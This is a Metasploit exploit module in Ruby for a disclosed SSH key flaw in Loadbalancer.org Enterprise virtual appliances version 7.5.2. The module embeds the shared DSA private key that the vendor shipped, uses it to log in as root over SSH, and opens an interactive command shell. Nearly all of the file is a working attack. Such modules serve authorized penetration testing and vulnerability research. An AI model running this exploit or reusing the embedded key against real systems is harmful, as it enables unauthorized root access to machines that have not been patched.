##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/ssh'
require 'net/ssh/command_stream'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::SSH

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'Loadbalancer.org Enterprise VA SSH Private Key Exposure',
          'Description' => %q{
            Loadbalancer.org ships a public/private key pair on Enterprise virtual appliances
            version 7.5.2 that allows passwordless authentication to any other LB Enterprise box.
            Since the key is easily retrievable, an attacker can use it to gain unauthorized remote
            access as root.
          },
          'Platform' => 'unix',
          'Arch' => ARCH_CMD,
          'Privileged' => true,
          'Targets' => [ [ 'Universal', {} ] ],
          'Payload' => {
            'Compat' => {
              'PayloadType' => 'cmd_interact',
              'ConnectionType' => 'find'
            }
          },
          'Author' => 'xistence <xistence[at]0x90.nl>', # Discovery, Metasploit module
          'License' => MSF_LICENSE,
          'References' => [
            ['PACKETSTORM', '125754'],
            ['ATT&CK', Mitre::Attack::Technique::T1021_004_SSH]
          ],
          'DisclosureDate' => '2014-03-17',
          'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
          'DefaultTarget' => 0,
          'Notes' => {
            'Stability' => [CRASH_SAFE],
            'Reliability' => [REPEATABLE_SESSION],
            'SideEffects' => []
          }
        }
      )
    )

    register_options(
      [
        # Since we don't include Tcp, we have to register this manually
        Opt::RHOST(),
        Opt::RPORT(22)
      ], self.class
    )

    register_advanced_options(
      [
        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
      ]
    )
  end

  # helper methods that normally come from Tcp
  def rhost
    datastore['RHOST']
  end

  def rport
    datastore['RPORT']
  end

  def do_login(user)
    opt_hash = ssh_client_defaults.merge({
      auth_methods: ['publickey'],
      port: rport,
      key_data: [ key_data ]
    })

    opt_hash.merge!(verbose: :debug) if datastore['SSH_DEBUG']
    begin
      ssh_socket = nil
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        ssh_socket = Net::SSH.start(rhost, user, opt_hash)
      end
    rescue Rex::ConnectionError
      return nil
    rescue Net::SSH::Disconnect, ::EOFError
      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
      return nil
    rescue ::Timeout::Error
      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
      return nil
    rescue Net::SSH::AuthenticationFailed
      print_error "#{rhost}:#{rport} SSH - Failed authentication"
      return nil
    rescue Net::SSH::Exception => e
      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
      return nil
    end

    if ssh_socket

      # Create a new session from the socket, then dump it.
      conn = Net::SSH::CommandStream.new(ssh_socket, logger: self)
      ssh_socket = nil

      return conn
    else
      return nil
    end
  end

  def exploit
    conn = do_login('root')
    if conn
      print_good "#{rhost}:#{rport} - Successful login"
      handler(conn.lsock)
    end
  end

  def key_data
    <<~EOF
      -----BEGIN DSA PRIVATE KEY-----
      MIIBugIBAAKBgQCsCgcOw+DgNR/7g+IbXYdOEwSB3W0o3l1Ep1ibHHvAtLb6AdNW
      Gq47/UxY/rX3g2FVrVCtQwNSZMqkrqALQwDScxeCOiLMndCj61t3RxU3IOl5c/Hd
      yhGh6JGPdzTpgf8VhJIZnvG+0NFNomYntqYFm0y11dBQPpYbJE7Tx1t/lQIVANHJ
      rJSVVkpcTB4XdtR7TfO317xVAoGABDytZN2OhKwGyJfenZ1Ap2Y7lkO8V8tOtqX+
      t0LkViOi2ErHJt39aRJJ1lDRa/3q0NNqZH4tnj/bh5dUyNapflJiV94N3637LCzW
      cFlwFtJvD22Nx2UrPn+YXrzN7mt9qZyg5m0NlqbyjcsnCh4vNYUiNeMTHHW5SaJY
      TeYmPP8CgYAjEe5+0m/TlBtVkqQbUit+s/g+eB+PFQ+raaQdL1uztW3etntXAPH1
      MjxsAC/vthWYSTYXORkDFMhrO5ssE2rfg9io0NDyTIZt+VRQMGdi++dH8ptU+ldl
      2ZejLFdTJFwFgcfXz+iQ1mx6h9TPX1crE1KoMAVOj3yKVfKpLB1EkAIUCsG3dIJH
      SzmJVCWFyVuuANR2Bnc=
      -----END DSA PRIVATE KEY-----
    EOF
  end
end
